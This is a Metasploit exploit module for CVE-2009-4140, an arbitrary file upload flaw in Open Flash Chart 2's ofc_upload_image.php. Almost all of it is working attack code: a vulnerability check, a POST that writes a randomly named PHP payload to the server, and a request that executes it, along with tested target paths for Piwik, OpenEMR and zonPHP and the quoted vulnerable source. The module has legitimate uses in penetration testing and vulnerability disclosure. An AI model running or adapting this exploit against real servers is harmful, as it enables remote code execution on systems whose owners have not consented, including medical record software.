Open Flash Chart 2 Arbitrary File Upload

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Open Flash Chart v2 Arbitrary File Upload",  
'Description' => %q{  
This module exploits a file upload vulnerability found in Open Flash  
Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file  
in order to upload and execute malicious PHP files.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Braeden Thomas', # Initial discovery + Piwik PoC  
'Gjoko Krstic <gjoko[at]zeroscience.mk>', # OpenEMR PoC  
'Halim Cruzito', # zonPHP PoC  
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit  
],  
'References' =>  
[  
['BID', '37314'],  
['CVE', '2009-4140'],  
['OSVDB', '59051'],  
['EDB', '10532']  
],  
'Payload' =>  
{  
'Space' => 8190, # Just a big value, injection on HTTP POST  
'DisableNops' => true,  
'BadChars' => "\x00"  
},  
'Arch' => ARCH_PHP,  
'Platform' => 'php',  
'Targets' =>  
[  
# Tested on:  
# * open-flash-chart v2-Lug-Wyrm-Charmer  
# set TARGETURI /php-ofc-library/  
# * open-flash-chart v2-beta-1  
# set TARGETURI /php-ofc-library/  
# * zonPHP v2.25  
# set TARGETURI /zonPHPv225/ofc/  
# * Piwik v0.4.3  
# set TARGETURI /piwik/libs/open-flash-chart/php-ofc-library/  
# * OpenEMR v4.1.1  
# set TARGETURI /openemr-4.1.1/library/openflashchart/php-ofc-library/  
[ 'Generic (PHP Payload)', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 14 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to Open Flash Chart', '/php-ofc-library/'])  
], self.class)  
end  
  
#  
# Check for ofc_upload_image.php  
#  
def check  
print_status("#{peer} - Sending check")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "ofc_upload_image.php"),  
})  
if not res  
print_error("#{peer} - Connection timed out")  
return Exploit::CheckCode::Unknown  
elsif res.code.to_i == 404  
print_error("#{peer} - No ofc_upload_image.php found")  
elsif res and res.code == 200 and res.body =~ /Saving your image to/  
vprint_status("#{peer} - Found ofc_upload_image.php")  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
# Upload  
@fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"  
print_status("#{peer} - Uploading '#{@fname}' (#{payload.encoded.length} bytes)...")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ofc_upload_image.php'),  
'ctype' => "",  
'vars_get' => { 'name' => "#{@fname}" },  
'data' => "<?php #{payload.encoded} ?>"  
})  
if not res  
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")  
elsif res.code.to_i == 404  
fail_with(Failure::NotFound, "#{peer} - No ofc_upload_image.php found")  
elsif res.body =~ /can't write file/  
fail_with(Failure::Unknown, "#{peer} - Unable to write '#{@fname}'")  
elsif res.body =~ /Saving your image to: (.+)#{@fname}/  
path = $1  
register_files_for_cleanup(@fname)  
print_status("#{peer} - Executing '#{path}#{@fname}'")  
else  
fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")  
end  
  
# Execute  
res = send_request_raw({  
'uri' => normalize_uri(target_uri.path, path, @fname)  
})  
if res and res.code == 404  
fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}")  
end  
  
end  
end  
  
#  
# Source  
#  
=begin ofc_upload_image.php  
20-// default path for the image to be stored //  
21-$default_path = '../tmp-upload-images/';  
  
23-if (!file_exists($default_path)) mkdir($default_path, 0777, true);  
  
25-// full path to the saved image including filename //  
26-$destination = $default_path . basename( $_GET[ 'name' ] );  
  
28-echo 'Saving your image to: '. $destination;  
  
39-$jfh = fopen($destination, 'w') or die("can't open file");  
40-fwrite($jfh, $HTTP_RAW_POST_DATA);  
41-fclose($jfh);  
=end  
`